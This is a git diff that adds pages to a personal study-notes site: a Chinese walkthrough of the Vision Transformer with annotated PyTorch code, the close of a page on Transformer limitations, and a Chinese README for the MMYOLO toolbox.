​不可否认,Transformer 也存在诸多缺陷。最明显的一点是,提出该模型的论文名为《Attention Is All You Need》,但事实上我们真的仅仅只需要 Attention 吗?粗暴的抛弃 CNN 与 RNN 虽然非常炫技,但也使模型丧失了捕捉局部特征的能力,RNN + CNN + Attention 也许能够带来更好的效果。其次,Attention 机制失去了位置信息,虽然 Transformer 使用了 Positional Encoding 来补充位置信息,但只是权宜之计,没有改变其结构上的固有缺陷。最后,Attention 机制的参数量庞大,训练的门槛与成本也有了一定提高。因此,正是在 Transformer 提出之后,如 BERT、XLNet 等基于 Transformer 结构的强大、昂贵的预训练模型也逐步登上时代的舞台。

+

参考材料:​

+
    +
  1. Attention Is All You Need
  2. +
  3. https://lilianweng.github.io/posts/2018-06-24-attention/
  4. +
  5. https://zhuanlan.zhihu.com/p/48508221
  6. +
+ + \ No newline at end of file diff --git a/en/docs/个人知识库/AI/PyTorch/第十章/ViT解读/index.html b/en/docs/个人知识库/AI/PyTorch/第十章/ViT解读/index.html new file mode 100644 index 0000000..f4f5d07 --- /dev/null +++ b/en/docs/个人知识库/AI/PyTorch/第十章/ViT解读/index.html @@ -0,0 +1,184 @@ + + + + + +ViT解读.md | wjlin0 + + + + + + + +

ViT解读.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:39
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

ViT解读

+

+[ViT] An Image is Worth 16x16 Words: Transformers for Image Recognition at Scale. +
+Alexey Dosovitskiy, Lucas Beyer, Alexander Kolesnikov, Dirk Weissenborn, Xiaohua Zhai, Thomas Unterthiner, Mostafa Dehghani, Matthias Minderer, Georg Heigold, Sylvain Gelly, Jakob Uszkoreit, Neil Houlsby. +
+ICLR 2021. +[paper] [code] +
+解读者:牛志康,西安电子科技大学本科生,Datawhale成员;小饭同学,香港城市大学研究生 + +
+

+

前言​

+

Transformer 已经成为自然语言处理任务的一种基础网络,但它在计算机视觉中的应用仍然有限。因为 Transformer 对序列进行建模,如果我们将图像种的每一个像素都作为序列中的元素,因为序列的大小与图片的大小呈平方关系,将导致计算量大大增加。现有的工作要么是将注意力与卷积网络结合使用,要么用注意力机制替换 CNN 的某些组件或者降低图片的序列长度。这些改进都是基于 convolutional neural network (CNN) 卷积神经网络构建的,于是人们就在希望有一种完全基于 Transformer 的骨干网络,可以拥有 Transformer 全局建模的特性也可以不过多修改原始 Transformer 的结构。基于这种 motivation,才出现了 Vision Transformer (ViT) 这篇优秀的工作。

+

本文将从原理和代码实现上进行讲解,结合本课程需求,我们将着重讲解代码的实现,论文中更多的细节还请各位同学详细阅读原论文或关注 Whalepaper 后续的论文精读。

+

ViT 的整体流程​

+

如下图所示,ViT 的主要思想是将图片分成一个一个的小 patch,将每一个 patch 作为序列的元素输入 Transformer 中进行计算。 +

+

其具体流程如下:

+
    +
  1. 切分和映射:对一张标准图像,我们首先将图片切分成一个一个小的 patch,然后将它们的维度拉平 Flatten 为一维的向量,最后我们将这些向量通过线性映射 Linear Project $\mathbf{E}$ 到维度为 $D$ 的空间。
  2. +
  3. 分类表征和位置信息:分类表征:为了实现图像分类,我们在得到的向量中需要加入一个 classs token $\mathbf{x}\text{class}$ 作为分类表征(如上图中标注 $*$的粉色向量所示)。位置信息:图像和文本一样也需要注意顺序问题,因此作者通过 Position Embedding $\mathbf{E}{pos}$ 加入位置编码信息(如上图中标注 $0-9$ 的紫色向量所示)。
  4. +
  5. Transformer Encoder:然后我们将经过上面操作的 token 送入 Transformer Encoder。这里的 Transformer Encoder 和 Transformer (Attention is All You Need) 文章中实现基本一致,主要是通过多头注意力机制,对 patch 之间进行全局的信息提取。
  6. +
  7. 输出与分类:对于分类任务,我们只需要获得 class token 经过 Transformer Encoder 得到的输出,加一个 MLP Head 进行分类学习。
  8. +
+

我们论文代码的讲解也将按照上面的流程,对重要模块进行讲解,我们所展示的ViT代码示例来源于rwightman/timm并进行了部分简化,在此感谢每一位开源贡献者所作出的贡献。

+

切分和映射 Patch Embedding + Linear Projection​

+

对一张标准图像 $\mathbf{x}$,其分辨率为 $H \times W \times C$。为了方便讨论,我们取 ViT 的标准输入 $H \times W \times C = 224 \times 224 \times 3$ 进行一些具体维度的讲解。通过切分操作,我们将整个图片分成多个 patch $\mathbf{x}_p$,其大小为 $$P \times P \times C = 16 \times 16 \times 3 = 768。$$ 这样,一共可以得到 Patch 的数量为 $$N={(H \times W)}/{(P \times P)} = {(224 \times 224)}/{(16 \times 16)} = {(224 / 16)}\times {(224 / 16)} = 14 \times 14 = 196。$$ 所以,我们将一张 $224 \times 224 \times 3$ 的标准图片, 通过转换得到了 $196$ 个 patch,每个 patch 的维度是 $768$。

+

对得到的 patch 通过 $\mathbf{E} \in {\mathbb{R}^{768 \times D}}$ 进行线性映射到维度 $D$,我们将映射后的 patch 叫做 token,以便于和原本 Transformer 的术语进行统一(代码中默认的 $D$ 仍然为 $768$。我们认为,为了不损失信息,这里 $D$ 满足大于等于 $768$ 即可)。对应文中公式,上述操作可以表示为: +$$ +\begin{align} +[\mathbf{x}_p^1\mathbf{E}; \mathbf{x}_p^2\mathbf{E}; \cdots; \mathbf{x}_p^N\mathbf{E}], \quad \mathbf{E}\in\mathbb{R}^{(P^2\cdot C)\times D}。 +\end{align} +$$

+

以上是按照原论文对切分和映射的讲解,在实际的代码实现过程中,切分和映射实际上是通过一个二维卷积 nn.Conv2d() 一步完成的。为了实现一步操作,作者将卷积核的大小 kernal_size 直接设置为了 patch_size,即 $P=16$。然后,将卷积核的步长 stride 也设置为了同样的 patch_size,这样就实现了不重复的切割图片。而卷积的特征输入和输出维度,分别设为了 $C=3$ 和 $D=768$,对应下方代码的 in_c 和 embed_dim。

+
self.proj = nn.Conv2d(in_c, embed_dim, kernel_size=patch_size, stride=patch_size)
+

一张 $1 \times 3 \times 224 \times 224$ 的图像(其中 $1$ 是 batch_size 的维度),经过上述卷积操作得到 $1 \times 768 \times 14 \times 14$ 的张量。(代码中将 $14 \times 14 = 196$ 当作 grid 的个数,即 grid_size=(14, 14))然后,对其进行拉平 flatten(2) 得到 $1 \times 768 \times 196$ 的张量。因为 Transformer 需要将序列维度调整到前面,我们再通过 transpose(1, 2) 调整特征和序列维度,最终得到的张量大小为 $1 \times 196 \times 768$。切分、映射、拉平和维度调整统统经过下面一步操作得到:

+
x = self.proj(x).flatten(2).transpose(1, 2)
+

在代码中,这些操作全部被写在名为 PatchEmbed 的模块中,其具体的实现如下所示:

+
class PatchEmbed(nn.Module):
"""
Image --> Patch Embedding --> Linear Proj --> Pos Embedding
Image size -> [224,224,3]
Patch size -> 16*16
Patch num -> (224^2)/(16^2)=196
Patch dim -> 16*16*3 =768
Patch Embedding: [224,224,3] -> [196,768]
Linear Proj: [196,768] -> [196,768]
Positional Embedding: [197,768] -> [196,768]
"""
def __init__(self, img_size=224, patch_size=16, in_c=3, embed_dim=768, norm_layer=None):
"""
Args:
img_size: 默认参数224
patch_size: 默认参数是16
in_c: 输入的通道数
embed_dim: 16*16*3 = 768
norm_layer: 是否使用norm层,默认为否
"""
super().__init__()
img_size = (img_size, img_size) # -> img_size = (224,224)
patch_size = (patch_size, patch_size) # -> patch_size = (16,16)
self.img_size = img_size # -> (224,224)
self.patch_size = patch_size # -> (16,16)
self.grid_size = (img_size[0] // patch_size[0], img_size[1] // patch_size[1]) # -> grid_size = (14,14)
self.num_patches = self.grid_size[0] * self.grid_size[1] # -> num_patches = 196
# Patch+linear proj的这个操作 [224,224,3] --> [14,14,768]
self.proj = nn.Conv2d(in_c, embed_dim, kernel_size=patch_size, stride=patch_size)
# 判断是否有norm_layer层,要是没有不改变输入
self.norm = norm_layer(embed_dim) if norm_layer else nn.Identity()

def forward(self, x):
# 计算各个维度的大小
B, C, H, W = x.shape
assert H == self.img_size[0] and W == self.img_size[1], \
f"Input image size ({H}*{W}) doesn't match model ({self.img_size[0]}*{self.img_size[1]})."

# flatten: [B, C, H, W] -> [B, C, HW], flatten(2)代表的是从2位置开始展开
# eg: [1,3,224,224] --> [1,768,14,14] -flatten->[1,768,196]
# transpose: [B, C, HW] -> [B, HW, C]
# eg: [1,768,196] -transpose-> [1,196,768]
x = self.proj(x).flatten(2).transpose(1, 2)
x = self.norm(x)
return x
+

**在默认情况下,这一步是不进行 layer_norm 操作的,即它被设置为 nn.Identity()。对于 layer_norm,我们会在下面进行详细的讲解。

+

分类表征和位置信息 Class Token + Postional Embedding​

+

如下图所示,左侧灰色部分为加入分类表征,中间紫色部分为加入位置信息。 +图源amaarora

+

分类表征:Class Token +为了实现图像分类,我们在切分和映射后的向量 $[\mathbf{x}_p^1\mathbf{E}; \mathbf{x}p^2\mathbf{E}; \cdots; \mathbf{x}p^N\mathbf{E}]$ 中加入一个 class token $\mathbf{x}\text{class} \in \mathbb{R}^{D}$ 作为分类表征(如上图中最左侧深灰色框所示)。将这个表征放置在序列的第一个位置上,我们就得到一个维度为 $(196+1) \times 768$ 的新张量: +$$ +\begin{align} +[\mathbf{x}{\text{class}}; \mathbf{x}_p^1\mathbf{E}; \mathbf{x}_p^2\mathbf{E}; \cdots; \mathbf{x}_p^N\mathbf{E}] +\end{align} +$$ +对于具体的代码实现,我们通过 nn.Parameter(torch.zeros(1, 1, 768)) 实例化一个可学习的 cls_token,然后将这个 cls_token 按照 batch_size = x.shape[0] 进行复制,最后将其和之前经过切分和映射的 x 并在一起 torch.cat((cls_token, x), dim=1)。其完整代码,如下所示:

+
cls_token = nn.Parameter(torch.zeros(1, 1, 768)) # -> cls token
nn.init.trunc_normal_(self.cls_token, std=0.02) # 初始化
cls_token = cls_token.expand(x.shape[0], -1, -1) # (1,1,768) -> (128,1,768)
x = torch.cat((cls_token, x), dim=1) # [128, 197, 768]
+

**其实也可以不加入这个 cls token,我们可以对输出 token 做 GAP(Global Average Pooling),然后对 GAP 的结果进行分类。

+

位置信息:Postional Embedding +图像和文本一样也需要注意顺序问题,因此作者通过 Position Embedding $\mathbf{E}_{\text{pos}}\in\mathbb{R}^{(N + 1)\times D}$ 加入位置编码信息。这个 Position Embedding 和上面得到的分类表征张量,直接相加: +$$ +\begin{align} +\mathbf{z}0 &= [\mathbf{x}{\text{class}}; \mathbf{x}_p^1\mathbf{E}; \mathbf{x}p^2\mathbf{E}; \cdots; \mathbf{x}p^N\mathbf{E};] + \mathbf{E}{\text{pos}}, & \mathbf{E}&\in\mathbb{R}^{(P^2\cdot C)\times D}, \mathbf{E}{\text{pos}}\in\mathbb{R}^{(N + 1)\times D} +\end{align} +$$

+

与 Transformer 使用余弦位置编码不同的是,ViT 通过nn.Parameter()实现了一个可以学习的位置编码。

+
num_patches = 196
pos_embed = nn.Parameter(torch.zeros(1, num_patches + 1, 768))
x = x + pos_embed
+

**这里 pos_embed 在 batch_size 的维度进行了 boardcast,所以所有的样本都是同样的 pos_embed。

+

Transformer Encoder​

+

下一步,我们只需要将序列 $\mathbf{z}0$ 输入 Transformer Encoder 即可。如下图所示,每个 Transformer Encoder 由 Multi-head Attention、MLP、Norm (Layer Norm,LN) 并外加 shortcut 连接实现。 +$$ +\begin{align} +\mathbf{z}'l &= \text{MSA}(\text{LN}(\mathbf{z}{l-1})) + \mathbf{z}{l-1}, & l &=1\dots L, \ +\mathbf{z}_l &= \text{MLP}(\text{LN}(\mathbf{z}'_l)) + \mathbf{z}'_l, & l &=1\dots L, \ +\mathbf{y} &= \text{LN}(\mathbf{z}_L^0) +\end{align} +$$

+
+
+ +
+
+下面我们将对这些模块逐一进行讲解。 +

Multi-head Attention​

+

Multi-head Attention 或者叫做 Multi-head Self-Attention (MSA) 是由多个 Self-attention (SA) 模块组成,它们的框图可由下面所示,其中左侧为 SA,右侧为 MSA。

+
+
+ +· +· +· +· +· +· + +
+
+

对于一个标准的 SA 模块,我们通过对输入张量 $\mathbf{z}$ 进行一个映射 $\mathbf{W_{SA}}$ 得到 $Q, K, V$ +$$ +[Q, K, V] = \mathbf{z} \mathbf{W}_{\text{SA}}. +$$ +对于 MSA,我们需要对其输入再次进行切分为 $k$ 个部分 ($k=$self.num_heads),而每个部分的维度为原本维度的 $k$ 分之一,即 C // self.num_heads。然后,将维度进行调整,即 q, k, v 到第 1 个维度, 批大小 batch_size 为第 2 个维度,头的数量数量 num_heads 为第 3 个维度,切分块的数量 num_patches 和每个头的特征维度 embed_dim_per_head 为最后两个维度。这种维度调整,将方便提取 q, k, v,以及后面的注意力计算。上述步骤在代码中对应:

+
self.qkv = nn.Linear(dim, dim * 3, bias=qkv_bias)
qkv = self.qkv(x).reshape(B, N, 3, self.num_heads, C // self.num_heads).permute(2, 0, 3, 1, 4)
q, k, v = qkv[0], qkv[1], qkv[2] # seperate q, k, v
+

现在,如果我们将每一个 head,看作一个独立的计算单元。我们可以对每一个head 进行标准的 SA 计算 +$$ +Attention(Q, K, V) = softmax(\frac{Q K^T}{\sqrt {D_k}}) \cdot V +$$ +然后,这些 head 会被拼接在一起,计算最终的输出: +$$ +\mathrm{MultiHead}(Q, K, V) = \mathrm{Concat}(\mathrm{head_1}, ..., +\mathrm{head_h})W^O \ +\text{where}~\mathrm{head_i} = \mathrm{Attention}(QW^Q_i, KW^K_i, VW^V_i) +$$

+

其中 $W^O$ 代表的是线性变换层,$head_i$ 代表的是每个 head 的输出,其中 $W^Q_i$,$W^K_i$, $W^V_i$,等价于每个 head 的线性映射权重(如上面计算 qkv所讲,实际代码实现中,我们会先一起计算 qkv,再进行 head 的切分)。如果按照默认实现,一般切分为 $k=8$ 个头,其中 $D_k=D/k = 768/8=96$,是为了归一化点乘的结果。

+

在代码实现的时候,作者充分考虑了多头的并行计算。通过点乘的形式对所有的 head 一起计算相关性 (q @ k.transpose(-2, -1)),然后经过 softmax 得到权重 attn (这些权重的维度为 [batch_size, num_heads, num_patches + 1, num_patches + 1])。 +之后将这些权重 attn 和 v (其维度为 [batch_size, num_heads, num_patches+1, embed_dim_per_head]) 进行点乘,得到注意力的输出结果。这里在点乘的时候,我们只需要看 attn 和 v的最后两个维度,分别为[num_patches + 1, num_patches + 1] 和 [num_patches+1, embed_dim_per_head],维持其他维度不变,我们可以得到输出的结果维度为 [batch_size, num_heads, num_patches + 1, embed_dim_per_head]。 +最后,我们通过将特征维度和多头维度交换 transpose(1, 2) 和 重组第2个及后面所有的维度 reshape(B, N, C),就可以得到维度为 [batch_size, num_patches + 1, total_embed_dim] 和上面公式相同的并行多头计算结果。其完整实现如下所示

+
class Attention(nn.Module):
def __init__(self,
dim, # 输入token的dim
num_heads=8, # attention head的个数
qkv_bias=False, # 是否使用qkv bias
qk_scale=None,
attn_drop_ratio=0.,
proj_drop_ratio=0.):
super(Attention, self).__init__()
self.num_heads = num_heads
# 计算每一个head处理的维度head_dim = dim // num_heads --> 768/8 = 96
head_dim = dim // num_heads
self.scale = qk_scale or head_dim ** -0.5 # 根下dk操作
# 使用nn.Linear生成w_q,w_k,w_v,因为本质上每一个变换矩阵都是线性变换,
self.qkv = nn.Linear(dim, dim * 3, bias=qkv_bias)
self.attn_drop = nn.Dropout(attn_drop_ratio)
self.proj = nn.Linear(dim, dim)
self.proj_drop = nn.Dropout(proj_drop_ratio)

def forward(self, x):
# [batch_size, num_patches + 1, total_embed_dim]
# total_embed_dim不是一开始展开的那个维度,是经过了一个线性变换层得到的
B, N, C = x.shape

# [batch_size, num_patches+1, total_embed_dim] -qkv()-> [batch_size, num_patches + 1, 3 * total_embed_dim]
# reshape: -> [batch_size, num_patches + 1, 3, num_heads, embed_dim_per_head]
# permute: -> [3, batch_size, num_heads, num_patches + 1, embed_dim_per_head]
qkv = self.qkv(x).reshape(B, N, 3, self.num_heads, C // self.num_heads).permute(2, 0, 3, 1, 4)
# q,k,v = [batch_size, num_heads, num_patches + 1, embed_dim_per_head]
q, k, v = qkv[0], qkv[1], qkv[2] # make torchscript happy (cannot use tensor as tuple)

# transpose(-2,-1)在最后两个维度进行操作,输入的形状[batch_size,num_heads,num_patches+1,embed_dim_per_head]
# transpose: -> [batch_size, num_heads, embed_dim_per_head, num_patches + 1]
# @: multiply -> [batch_size, num_heads, num_patches + 1, num_patches + 1]
attn = (q @ k.transpose(-2, -1)) * self.scale
attn = attn.softmax(dim=-1)
attn = self.attn_drop(attn)

# @: multiply -> [batch_size, num_heads, num_patches + 1, embed_dim_per_head]
# transpose: -> [batch_size, num_patches + 1, num_heads, embed_dim_per_head]
# reshape: -> [batch_size, num_patches + 1, total_embed_dim]
x = (attn @ v).transpose(1, 2).reshape(B, N, C)
x = self.proj(x)
x = self.proj_drop(x)
return x
+

MLP​

+

MLP层类似于原始Transformer中的Feed Forward Network。

+
+

In ViT, only MLP layers are local and translationally equivariant, while the self-attention layers are global.

+
+

为了理解这句话,即 MLP 只对局部信息进行操作,我们需要强调 nn.Linear() 操作只对输入张量的最后一个维度进行操作。那么,对于输入维度为 [batch_size, num_patches + 1, total_embed_dim],学习到的线性层对于所有 patch 都是一样的。所以,它是一个局部信息的建模。对于 Attention,因为它是在不同的 patch 层面或者不同的序列层面进行建模,所以是全局信息建模。因此,作者使用了 MLP 和 Attention 一起进行局部和全局信息的提取。

+
class Mlp(nn.Module):
"""
in_features --> hidden_features --> out_features
论文实现时:in_features.shape = out_features.shape
"""
def __init__(self, in_features, hidden_features=None, out_features=None, act_layer=nn.GELU, drop=0.):
super().__init__()
# 用or实现了或操作,当hidden_features/out_features为默认值None时
# 此时out_features/hidden_features=None or in_features = in_features
# 当对out_features或hidden_features进行输入时,or操作将会默认选择or前面的
# 此时out_features/hidden_features = out_features/hidden_features
out_features = out_features or in_features
hidden_features = hidden_features or in_features
self.fc1 = nn.Linear(in_features, hidden_features)
self.act = act_layer()
self.fc2 = nn.Linear(hidden_features, out_features)
self.drop = nn.Dropout(drop)

def forward(self, x):
# in_features --> hidden_features --> out_features
x = self.fc1(x)
x = self.act(x)
x = self.drop(x)
x = self.fc2(x)
x = self.drop(x)
return x
+

Layer Norm​

+

Normalization 有很多种,但是它们都有一个共同的目的,那就是把输入转化成均值为 0 方差为 1 的数据(或者某个学习到的均值和方差)。我们在把数据送入激活函数之前进行 Normalization(归一化),因为我们不希望输入数据落在激活函数的饱和区。

+

Batch Norm 的作用是在对这批样本的同一维度特征做归一化,而 Layer Norm 的作用是对单个样本的所有维度特征做归一化。举一个简单的例子,对于通过编码的句子“我爱学习”,Batch Norm 是对这四个字进行归一化,而 Layer Norm 是对每个字本身的特征进行归一化。

+

对于 Layer Norm,其公式如下所示 +$$L N\left(x_i\right)=\alpha \times \frac{x_i-u_L}{\sqrt{\sigma_L^2+\epsilon}}+\beta$$ +可以通过 nn.LayerNorm 进行实现。

+

Transformer Encoder 完整代码​

+

整合上面 Multi-head Attention、MLP、Norm (Layer Norm,LN) 并外加 shortcut 连接代码,我们可以得到 Transformer Encoder 的完整代码。

+
class Block(nn.Module):
"""
每一个Encoder Block的构成
每个Encode Block的流程:norm1 --> Multi-Head Attention --> norm2 --> MLP
"""
def __init__(self,
dim, # 输入mlp的维度
num_heads, # Multi-Head-Attention的头个数
mlp_ratio=4., # hidden_features / in_features = mlp_ratio
qkv_bias=False, # q,k,v的生成是否使用bias
qk_scale=None,
drop_ratio=0., # dropout的比例
attn_drop_ratio=0., # 注意力dropout的比例
drop_path_ratio=0.,
act_layer=nn.GELU, # 激活函数默认使用GELU
norm_layer=nn.LayerNorm): # Norm默认使用LayerNorm
super(Block, self).__init__()
# 第一层normalization
self.norm1 = norm_layer(dim)
# self.attention层的实现
self.attn = Attention(dim, num_heads=num_heads, qkv_bias=qkv_bias, qk_scale=qk_scale,attn_drop_ratio=attn_drop_ratio, proj_drop_ratio=drop_ratio)
self.drop_path = DropPath(drop_path_ratio) if drop_path_ratio > 0. else nn.Identity()
# 第二层normalization
self.norm2 = norm_layer(dim)
mlp_hidden_dim = int(dim * mlp_ratio) # hidden_dim = dim * mlp_ratio
# mlp实现
self.mlp = Mlp(in_features=dim, hidden_features=mlp_hidden_dim, act_layer=act_layer, drop=drop_ratio)

def forward(self, x):
# 实现了两个残差连接
x = x + self.drop_path(self.attn(self.norm1(x)))
x = x + self.drop_path(self.mlp(self.norm2(x)))
return x
+

ViT 完整代码​

+

对输入图像,进行切分和影射、加入分类表征和位置信息、经过 Transformer Encoder、然后添加一个分类头进行输出,我们就完成了 ViT 所有的代码。

+

完整的 ViT 主要模块流程,见下方 VisionTransformer。

+
class VisionTransformer(nn.Module):
def __init__(self,
img_size=224,
patch_size=16,
in_c=3,
num_classes=1000,
embed_dim=768,
depth=12,
num_heads=12,
mlp_ratio=4.0,
qkv_bias=True,
qk_scale=None,
representation_size=None,
distilled=False,
drop_ratio=0.,
attn_drop_ratio=0.,
drop_path_ratio=0.,
embed_layer=PatchEmbed,
norm_layer=None,
act_layer=None):
"""
Args:
img_size (int, tuple): input image size
patch_size (int, tuple): patch size
in_c (int): number of input channels
num_classes (int): number of classes for classification head
embed_dim (int): embedding dimension
depth (int): depth of transformer
num_heads (int): number of attention heads
mlp_ratio (int): ratio of mlp hidden dim to embedding dim
qkv_bias (bool): enable bias for qkv if True
qk_scale (float): override default qk scale of head_dim ** -0.5 if set
representation_size (Optional[int]): enable and set representation layer (pre-logits) to this value if set
distilled (bool): model includes a distillation token and head as in DeiT models
drop_ratio (float): dropout rate
attn_drop_ratio (float): attention dropout rate
drop_path_ratio (float): stochastic depth rate
embed_layer (nn.Module): patch embedding layer
norm_layer: (nn.Module): normalization layer
"""
super(VisionTransformer, self).__init__()
self.num_classes = num_classes
# 每个patch的图像维度 = embed_dim
self.num_features = self.embed_dim = embed_dim # num_features for consistency with other models
# token的个数为1
self.num_tokens = 2 if distilled else 1
# 设置激活函数和norm函数
norm_layer = norm_layer or partial(nn.LayerNorm, eps=1e-6)
act_layer = act_layer or nn.GELU
# 对应的将图片打成patch的操作
self.patch_embed = embed_layer(img_size=img_size, patch_size=patch_size, in_c=in_c, embed_dim=embed_dim)
num_patches = self.patch_embed.num_patches
# 设置分类的cls_token
self.cls_token = nn.Parameter(torch.zeros(1, 1, embed_dim))
# distilled 是Deit中的 这里为None
self.dist_token = nn.Parameter(torch.zeros(1, 1, embed_dim)) if distilled else None
# pos_embedding 为一个可以学习的参数
self.pos_embed = nn.Parameter(torch.zeros(1, num_patches + self.num_tokens, embed_dim))
self.pos_drop = nn.Dropout(p=drop_ratio)

dpr = [x.item() for x in torch.linspace(0, drop_path_ratio, depth)] # stochastic depth decay rule
# 使用nn.Sequential进行构建,ViT中深度为12
self.blocks = nn.Sequential(*[
Block(dim=embed_dim, num_heads=num_heads, mlp_ratio=mlp_ratio, qkv_bias=qkv_bias, qk_scale=qk_scale,
drop_ratio=drop_ratio, attn_drop_ratio=attn_drop_ratio, drop_path_ratio=dpr[i],
norm_layer=norm_layer, act_layer=act_layer)
for i in range(depth)
])
self.norm = norm_layer(embed_dim)

# Representation layer
if representation_size and not distilled:
self.has_logits = True
self.num_features = representation_size
self.pre_logits = nn.Sequential(OrderedDict([
("fc", nn.Linear(embed_dim, representation_size)),
("act", nn.Tanh())
]))
else:
self.has_logits = False
self.pre_logits = nn.Identity()

# Classifier head(s)
self.head = nn.Linear(self.num_features, num_classes) if num_classes > 0 else nn.Identity()
self.head_dist = None
if distilled:
self.head_dist = nn.Linear(self.embed_dim, self.num_classes) if num_classes > 0 else nn.Identity()

# Weight init
nn.init.trunc_normal_(self.pos_embed, std=0.02)
if self.dist_token is not None:
nn.init.trunc_normal_(self.dist_token, std=0.02)

nn.init.trunc_normal_(self.cls_token, std=0.02)
self.apply(_init_vit_weights)

def forward_features(self, x):
# [B, C, H, W] -> [B, num_patches, embed_dim]
x = self.patch_embed(x) # [B, 196, 768]
# [1, 1, 768] -> [B, 1, 768]
cls_token = self.cls_token.expand(x.shape[0], -1, -1)
if self.dist_token is None:
x = torch.cat((cls_token, x), dim=1) # [B, 197, 768]
else:
x = torch.cat((cls_token, self.dist_token.expand(x.shape[0], -1, -1), x), dim=1)

x = self.pos_drop(x + self.pos_embed)
x = self.blocks(x)
x = self.norm(x)
if self.dist_token is None:
return self.pre_logits(x[:, 0])
else:
return x[:, 0], x[:, 1]

def forward(self, x):
x = self.forward_features(x)
if self.head_dist is not None:
x, x_dist = self.head(x[0]), self.head_dist(x[1])
if self.training and not torch.jit.is_scripting():
# during inference, return the average of both classifier predictions
return x, x_dist
else:
return (x + x_dist) / 2
else:
x = self.head(x)
return x


def _init_vit_weights(m):
"""
ViT weight initialization
:param m: module
"""
if isinstance(m, nn.Linear):
nn.init.trunc_normal_(m.weight, std=.01)
if m.bias is not None:
nn.init.zeros_(m.bias)
elif isinstance(m, nn.Conv2d):
nn.init.kaiming_normal_(m.weight, mode="fan_out")
if m.bias is not None:
nn.init.zeros_(m.bias)
elif isinstance(m, nn.LayerNorm):
nn.init.zeros_(m.bias)
nn.init.ones_(m.weight)
+
+

参考:

+

An Image is Worth 16x16 Words: Transformers for Image Recognition at Scale https://arxiv.org/pdf/2010.11929.pdf +Attention Is All You Need https://arxiv.org/abs/1706.03762

+
+ + \ No newline at end of file diff --git a/en/docs/个人知识库/AI/PyTorch/第十章/YOLO系列解读/MMYOLO实现/index.html b/en/docs/个人知识库/AI/PyTorch/第十章/YOLO系列解读/MMYOLO实现/index.html new file mode 100644 index 0000000..4686f97 --- /dev/null +++ b/en/docs/个人知识库/AI/PyTorch/第十章/YOLO系列解读/MMYOLO实现/index.html @@ -0,0 +1,285 @@ + + + + + +MMYOLO实现 | wjlin0 + + + + + + + +

MMYOLO实现

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:39
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+
+ +
 
+
+ OpenMMLab 官网 + + + HOT + + +      + OpenMMLab 开放平台 + + + TRY IT OUT + + +
+
 
+

PyPI +docs +deploy +codecov +license +open issues +issue resolution

+

📘使用文档 | +🛠️安装教程 | +👀模型库 | +🆕更新日志 | +🤔报告问题

+
+
+

English | 简体中文

+
+

简介​

+

MMYOLO 是一个基于 PyTorch 和 MMDetection 的 YOLO 系列算法开源工具箱。它是 OpenMMLab 项目的一部分。

+

主分支代码目前支持 PyTorch 1.6 以上的版本。 +

+
主要特性
+ +
    +
  • +

    统一便捷的算法评测

    +

    MMYOLO 统一了各类 YOLO 算法模块的实现, 并提供了统一的评测流程,用户可以公平便捷地进行对比分析。

    +
  • +
  • +

    丰富的入门和进阶文档

    +

    MMYOLO 提供了从入门到部署到进阶和算法解析等一系列文档,方便不同用户快速上手和扩展。

    +
  • +
  • +

    模块化设计

    +

    MMYOLO 将框架解耦成不同的模块组件,通过组合不同的模块和训练测试策略,用户可以便捷地构建自定义模型。

    +
  • +
+基类 + 图为 RangeKing@GitHub 提供,非常感谢! +
+

教程​

+

MMYOLO 基于 MMDetection 开源库,并且采用相同的代码组织和设计方式。为了更好的使用本开源库,请先阅读 MMDetection 概述 对 MMDetection 进行初步地了解。

+

MMYOLO 用法和 MMDetection 几乎一致,所有教程都是通用的,你也可以了解 MMDetection 用户指南和进阶指南 。

+

针对和 MMDetection 不同的部分,我们也准备了用户指南和进阶指南,请阅读我们的 文档 。

+ +

基准测试和模型库​

+

测试结果和模型可以在 模型库 中找到。

+
支持的算法
+ + +
+
Details
+
+ 模块组件 +
+ + + + + + + + + + + + + + + + +
+ Backbones + + Necks + + Loss + + Common +
+
    +
  • YOLOv5CSPDarknet
  • +
  • YOLOXCSPDarknet
  • +
  • EfficientRep
  • +
  • CSPNeXt
  • +
+
+
    +
  • YOLOv5PAFPN
  • +
  • YOLOv6RepPAFPN
  • +
  • YOLOXPAFPN
  • +
  • CSPNeXtPAFPN
  • +
+
+
    +
  • IoULoss
  • +
+
+
    +
+
+
+

常见问题​

+

请参考 FAQ 了解其他用户的常见问题。

+

贡献指南​

+

我们感谢所有的贡献者为改进和提升 MMYOLO 所作出的努力。我们将正在进行中的项目添加进了GitHub Projects页面,非常欢迎社区用户能参与进这些项目中来。请参考贡献指南来了解参与项目贡献的相关指引。

+

致谢​

+

MMYOLO 是一款由来自不同高校和企业的研发人员共同参与贡献的开源项目。我们感谢所有为项目提供算法复现和新功能支持的贡献者,以及提供宝贵反馈的用户。 我们希望这个工具箱和基准测试可以为社区提供灵活的代码工具,供用户复现已有算法并开发自己的新模型,从而不断为开源社区提供贡献。

+

引用​

+

如果你觉得本项目对你的研究工作有所帮助,请参考如下 bibtex 引用 MMYOLO

+
@misc{mmyolo2022,
title={{MMYOLO: OpenMMLab YOLO} series toolbox and benchmark},
author={MMYOLO Contributors},
howpublished = {\url{https://github.com/open-mmlab/mmyolo}},
year={2022}
}
+

开源许可证​

+

该项目采用 GPL 3.0 开源许可证。

+

OpenMMLab 的其他项目​

+
    +
  • MMEngine: OpenMMLab 深度学习模型训练基础库
  • +
  • MMCV: OpenMMLab 计算机视觉基础库
  • +
  • MIM: MIM 是 OpenMMlab 项目、算法、模型的统一入口
  • +
  • MMClassification: OpenMMLab 图像分类工具箱
  • +
  • MMDetection: OpenMMLab 目标检测工具箱
  • +
  • MMDetection3D: OpenMMLab 新一代通用 3D 目标检测平台
  • +
  • MMRotate: OpenMMLab 旋转框检测工具箱与测试基准
  • +
  • MMYOLO: OpenMMLab YOLO 系列工具箱
  • +
  • MMSegmentation: OpenMMLab 语义分割工具箱
  • +
  • MMOCR: OpenMMLab 全流程文字检测识别理解工具包
  • +
  • MMPose: OpenMMLab 姿态估计工具箱
  • +
  • MMHuman3D: OpenMMLab 人体参数化模型工具箱与测试基准
  • +
  • MMSelfSup: OpenMMLab 自监督学习工具箱与测试基准
  • +
  • MMRazor: OpenMMLab 模型压缩工具箱与测试基准
  • +
  • MMFewShot: OpenMMLab 少样本学习工具箱与测试基准
  • +
